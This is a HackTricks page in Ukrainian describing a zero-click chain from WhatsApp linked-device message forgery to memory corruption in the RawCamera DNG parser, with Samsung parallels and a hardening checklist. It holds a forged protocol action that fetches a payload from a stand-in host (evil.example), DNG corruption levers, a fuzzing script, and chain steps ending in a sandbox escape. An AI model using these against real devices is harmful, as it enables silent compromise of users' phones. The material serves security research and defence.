Zero-click Messaging → Image Parser Chains

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

TL;DR

  • Розглядайте messaging app multi-device/companion protocols як канали дистанційного керування: якщо поля протоколу вважаються такими, що походять із довірених пристроїв, вони все ще можуть бути керовані користувачем і часто можуть бути просто відтворені безпосередньо проти жертви для завантаження довільного контенту з 0 user interaction.
  • Як тільки будь-який додаток можна примусити отримувати недовірені медіа, націльтеся на shared OS media pipeline (RawCamera на iOS/macOS, vendor parsers на Android OEM-збірках) з пошкодженими файлами, щоб вийти за межі sandbox.
  • DNG-based RawCamera та Samsung parser баги, обговорювані тут, — конкретні приклади, але сама техніка є багаторазовим шаблоном для поєднання logic flaws → image parser memory corruption → full device compromise.

Remote content loading via WhatsApp linked-device commands

Attack surface recap

Архітектура WhatsApp “linked devices” підтримує синхронізацію основного телефону і кожного компаньйона (desktop, tablet, secondary phone) через зашифровані, структуровані protocol messages. Кожне повідомлення кодує:

  • Device metadata (device ID, capabilities, feature flags).
  • Action descriptors (наприклад, sync chats, fetch thumbnails, render remote content).
  • Arbitrary parameters такі як URI, MIME-підказки, ключі пагінації тощо.

На Apple клієнтах обробник, який опрацьовує ці linked-device control packets, implicitly trusted, що дійсна пара вже встановлена, тому поля з високим впливом (наприклад, resource_url, open_media, sync_snapshot) були лише мінімально перевірені. Зловмисне повідомлення від компаньйона могло таким чином:

  1. Бути спрямоване на будь-який акаунт, ідентифікований за номером телефону.
  2. Пройти через транспортний стек (Noise protocol + WhatsApp protobuf framing), оскільки приймач ніколи не перевірив, що відправник дійсно був легітимно спареним пристроєм.
  3. Досягти iOS клієнта, де вразливий шлях коду автоматично ініціював фоновий HTTP(S) запит до attacker URL і парсив відповідь у прихованому WebView/media renderer.

Practical workflow for auditors

  1. Capture legitimate linked-device traffic. Підключіть дебагер або Frida-скрипт до desktop/iOS клієнта і перехопіть post-decryption handler (наприклад, LinkedDevicesSyncHandler::processAction). Злийте декодовані protobuf payloads, щоб дізнатися доступні типи дій та параметри.
  2. Identify fields that cross trust boundaries. Будь-яка дія, що несе параметри http_url, thumbnail_uri, download_url або render_html без суворих allow-lists, є кандидатом на примітив віддаленого контенту.
  3. Forge a malicious action. Повторно використайте спостережену protobuf схему і змініть лише поля, контрольовані атакуючим. Нижче показано спрощений JSON-представлення відповідної логічної структури (фактичний транспорт — protobuf/Noise, але семантичні поля збігаються):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
  1. Доставити жертві. Відтворіть підготовлений пакет через той самий WhatsApp сервіс, який зазвичай пересилає трафік пов’язаних пристроїв (наприклад, використовуючи модифікований desktop client або кастомний Noise client, що повторно використовує ключі вашого облікового запису атакуючого). Оскільки CVE-2025-55177 не прив’язувала дії до автентифікованих пристроїв, клієнт жертви на iOS/macOS приймав повідомлення і миттєво запитував URL атакуючого без будь-якого UI.
  2. Проінструментуйте запит. Спостерігайте за примусовим HTTP(S)-запитом та внутрішнім рендерером (WKWebView/ImageIO). На цьому етапі ви маєте zero-click web delivery primitive всередині WhatsApp.

Озброєння авто-декодованих DNG проти RawCamera

Коли атакуючий контролює те, що завантажує WhatsApp, наступна мета — змусити iOS/macOS розпарсити шкідливий Digital Negative (DNG) файл за допомогою фреймворка RawCamera. Будь-який вбудований <img>/CSS URL, що веде до .dng, буде передано в системний конвеєр зображень, викликаючи RawCamera навіть якщо сам WhatsApp явно ніколи не опрацьовував DNG.

Активація RawCamera з WhatsApp

  • Подавайте HTML, який посилається на DNG через кілька механізмів (наприклад, <img src="evil.dng">, CSS background-image: url('evil.dng'), або джерела <picture>) щоб охопити різні шляхи рендерингу.
  • Переконайтесь у правильному MIME (image/x-adobe-dng) та невеликих прев’ю, щоб завантажувач не відкидав файл зарані через евристику розміру.
  • iOS media sandbox буде передавати файл у RawCamera через CGImageSourceCreateWithURL, зрештою потрапляючи у вразливий декодер.

Створення DNG, що корумпує пам’ять (у стилі CVE-2025-43300)

Відтворена помилка базувалася на несумісних метаданих, які десинхронізували виділення буфера від фактичного читання пікселів. Типові важелі включають:

  • Tile/strip descriptors: Встановіть TileByteCounts/StripByteCounts на реалістичні значення, але збільшіть TileOffsets, щоб вони вказували за межі виділеного буфера.
  • Sub-IFD chains: Вбудуйте вторинні зображення з конфліктуючими ImageWidth/ImageLength і BitsPerSample, щоб RawCamera обчислював малий буфер, тоді як подальші стадії довіряли б розмірам, контрольованим атакуючим.
  • Opcode metadata: Маніпулюйте записами OpcodeList3, щоб пострічкова обробка працювала на індексах, обраних атакуючим.

Базову мутаційну заготовку для пошуку таких корупцій можна побудувати на macOS, оскільки той самий код RawCamera постачається на macOS/iOS/iPadOS:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

Кожен краш у RawCamera дає новий примітив. Опублікований PoC досяг акуратного out-of-bounds read/write, достатньо надійного, щоб спричинити краш WhatsApp на iPhone, iPad та Mac.

Побудова 0-click chain

  1. Linked-device packet → змушує WhatsApp отримати https://evil.example/payload.html без жодних натискань.
  2. Payload HTML → безшумно посилається на evil.dng, гарантуючи, що RawCamera буде викликано медіа-стеком ОС.
  3. Malicious DNG → зловживає скомпільованими тегами, щоб викликати RawCamera OOB і спричинити краш або заволодіти декодером зображень.
  4. Post-corruption exploitation → додати info-leak gadgets (наприклад, зловживання передбачуваною метаданою heap) та зібрати ROP/JOP chain для виходу з WhatsApp sandbox у більш привілейовані контексти.

Оскільки кожен крок автоматичний, атакуючому потрібен лише номер телефону жертви. На цільовому пристрої не показуються жодні нотифікації, банери чи підказки.

Паралелі парсера зображень Samsung

Бюлетень Samsung для CVE-2025-21043 підтвердив, що їхній пропрієтарний стек парсингу зображень (який використовується в Gallery, Messages і також опосередковано у WhatsApp) страждав від out-of-bounds write, доступного через ненадійні медіа. Методологія експлуатації віддзеркалює Apple chain:

  • Визначте вектор auto-preview (chat thumbnails, notification previews, share sheets), який парсить файл атакувальника за допомогою бібліотек Samsung libimagecodec/libOneUI_ImageDecoder.
  • Diff оновлення OEM бібліотек або fuzz парсери за допомогою пошкоджених RAW/DNG файлів, поки не побачите корупцію пам’яті, схожу на краш RawCamera (heap metadata clobber, register control тощо).
  • Доставте скофайлений файл через будь-який канал, що вже авто-завантажує контент (наприклад, той самий linked-device примітив, WhatsApp preview fetchers або Android push-to-talk waveform previews).

Як тільки в парсері постачальника з’являється OOB write, поєднання його з WhatsApp auto-fetch primitive дає ще один zero-click chain на пристроях Samsung.

Чеклист тестування та підвищення стійкості

  • Protocol validation: Впровадьте суворі allow-lists для кожної linked-device дії. Команди-компаньйони, які запитують fetch/render, повинні підтверджувати pairing пристроїв (підписуючи payload), а URL має відповідати allow-list або підписаному blob.
  • Transport replay countermeasures: Прив’язуйте кожну дію до ключа конкретного пристрою і відкидайте пакети, чий ключ відправника невідомий, навіть якщо protobuf синтаксис правильний.
  • Media pipeline restrictions: Додатки високого рівня повинні дозволяти тільки затверджені MIME types і явно відхиляти RAW/DNG, якщо ця функція не потрібна.
  • Parser fuzzing regression tests: Зберігайте корпус пошкоджених RAW/DNG файлів і проганяйте їх через RawCamera/декодери постачальника після кожного оновлення.
  • Crash triage automation: Під’єднуйте sanitizers через DYLD_INSERT_LIBRARIES або використовуйте MTE на fuzz-пристроях, щоб виявити тонкі OOB умови до того, як це зроблять атакуючі.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks